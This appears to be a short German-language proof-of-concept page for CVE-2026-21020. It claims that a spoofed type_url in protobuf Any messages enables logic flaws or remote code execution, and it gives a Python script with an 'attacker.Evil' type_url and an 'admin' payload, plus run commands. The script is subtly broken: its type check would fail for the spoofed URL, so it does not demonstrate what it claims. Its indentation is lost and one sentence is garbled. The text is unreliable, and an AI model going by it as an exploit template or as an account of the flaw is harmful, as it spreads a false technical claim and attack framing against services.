
PoC für CVE-2026-21020, der die polymorphe Deserialisierung des Protobuf-Any-Typs demonstriert, bei der ein vom Angreifer kontrollierter type_url zu Logikfehlern, Remote-Codeausführung (RCE) oder Privilegienerweiterung führen kann.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Ein Dienst verwendet den Any-Typ von Protocol Buffers, um Nachrichten zu kapseln, und entpackt sie dynamisch mithilfe des type_url-Felds, ohne den erwarteten Typ zu validieren. Ein Angreifer kann eine Nachricht mit einer manipulierten type_url senden, die auf eine gefährliche Nachrichtenklasse (oder eine unbeabsichtigte) verweist, was Logikfehler oder Codeausführung verursachen kann.
type_url ohne Whitelisting.Führen Sie die Simulation aus:
pip install protobuf
python proto_vuln.py
Es zeigt, dass der Any-Typ gefälscht werden kann; wenn der Code die Klasse dynamisch aus type_url lädt, könnte dies zu RCE führen.